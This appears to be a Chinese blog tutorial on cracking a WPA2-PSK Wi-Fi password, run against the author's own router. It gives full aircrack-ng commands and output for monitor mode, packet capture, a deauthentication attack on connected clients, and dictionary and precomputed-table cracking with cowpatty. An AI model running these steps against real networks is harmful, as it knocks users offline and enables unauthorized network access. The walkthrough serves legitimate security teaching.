概述:
针对WEP的一些弱点,WPA(WiFi Protected Access)一一改进:
WPA又分两种基本类别:
• WPA Enterprise (requires a Radius server)
• WPA Personal (also known as WPA-PSK)
我们一般使用的是WPA Personal,也就是一个AP只有一个密钥(Pre-shared Key)。
WPA又有WPA和WPA2,前者只能使用TKIP(Temporary Key Integrity Protocol)加密,后者除TKIP外还能使用AES(Advanced Encryption Standard)进行加密。
实践:
环境: 虚拟机kali 2.0 + usb无线网卡(360随身wifi) + 无线路由(使用wpa2-psk加密)
利用系统自带的aircrack-ng套件进行实验。关于aircrack-ng的使用可参考 http://kalitut.blogspot.sg/2015/09/crack-wpa2-wifi-password.html
第一步:先将无线网卡开成监听模式。(期间要求关闭3个进程)
root@kali:~# iwconfig wlan0 IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions. eth0 no wireless extensions. root@kali:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run ‘airmon-ng check kill‘ PID Name 702 NetworkManager 847 wpa_supplicant 5674 dhclient PHY Interface Driver Chipset phy0 wlan0 mt7601u Ralink Technology, Corp. MT7601U (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) root@kali:~# kill 702 847 5674 root@kali:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0mon mt7601u Ralink Technology, Corp. MT7601U
第二步:开始监听。
root@kali:~# airodump wlan0mon
以下为监听结果(为了保护信息,做了些模糊处理):
其中BSSID为AP(Access Point)的硬件地址,CH为所在的信道(一般是1、6、11),ESSID就是AP的名字。下方的STATION是连入该ap的一些客户。
此时右上角是空白的,说明并没有捕获到wpa握手包。(也就是监听期间并没有新用户进行验证连接该ap)
选定一个AP进行监听。我们选择下面监听到多个客户连入的这个AP(以6C:E8开头的MAC):
root@kali:~# airodump -w test --channel 11 --bssid 6C:E8:XX:XX:XX:XX wlan0mon
其中-w test表示将抓到的包存到新建的test文件中。
第三步:为了尽快捕获握手包,进行Deauthenticate验证攻击:
root@kali:~# aireplay-ng -0 10 -a 6C:E8:73:F9:54:D2 -c 70:18:8B:38:85:B1 wlan0mon 10:19:03 Waiting for beacon frame (BSSID: 6C:E8:73:F9:54:D2) on channel 11 10:19:04 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [13|65 ACKs] 10:19:05 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [21|64 ACKs] 10:19:05 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [29|65 ACKs] 10:19:06 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [57|62 ACKs] 10:19:07 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs] 10:19:07 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs] 10:19:08 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [64|64 ACKs] 10:19:09 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [62|65 ACKs] 10:19:09 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [58|64 ACKs] 10:19:10 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [59|65 ACKs]
其中的参数-0是Deauthenticate攻击,10是发送数据包的数量,-a是要攻击的AP硬件地址,-c是连入该AP的客户端的硬件地址(非必须,但有的话攻击成功率高)。
成功捕获握手包!
第四步:用ctrl+c中断监听,可见当前目录下多了以test-01开头的四个文件。我们要用的是test-01.cap,对它进行暴力破解。
当然你得有字典文件,我这里使用了kali自带的字典,具体可参考前面给出的网址。
这里为了实验我作弊了,因为我的ap密码设置的比较复杂,暴力破解的难度比较高。所以我直接把密码添加到字典的第30000行上~
root@kali:~# aircrack-ng -w kalitut.txt test-01.cap
在我的虚拟机里能以800keys/s的速度破解,很快就找到了(图中模糊处),用时36秒
如何提升破解速度:
Time-Memory Trade-Offs是指将字典中的明文密码提前转换成hash值,建立高速wpa hash tables,用这个tables去对抓到的握手包进行暴力破解。
顾名思义,这么做会消耗更多存储空间,以换取破解时间的减少。
我们可以使用genpmk来建立高速wpa hash tables,这个genpmk是另一个无线破解工具cowpatty提供的。
这里如果要对我之前用的整个字典文件全部转换的话,这个过程要很久。所以我先提取前面的40000行出来建立tables就好了。
root@kali:~# genpmk -f kalitut2.txt -d testtables -s XXX genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com> File testtables does not exist, creating. key no. 1000: ?-??????/? key no. 2000: 000000sa key no. 3000: 00008114 -- snip -- key no. 39000: 0111398899 key no. 40000: 01129112 40000 passphrases tested in 132.22 seconds: 302.53 passphrases/second
其中参数-f是原来的明文字典,-d是生成的tables名,-s是AP的名称。
用生成的tables再次进行破解:
root@kali:~# cowpatty -d testtables -r test-01.cap -s XXX
其中参数-d是之前生成的tables,-r是抓到的包,-s是AP名。
只用了0.22秒就找到了!比刚刚的36秒快多了!
总结:目前来看,wpa2的安全性还是相对较高的,针对它的破解一般基于暴力破解。所以我们只要设置好强度高的密码,一般就没什么问题了。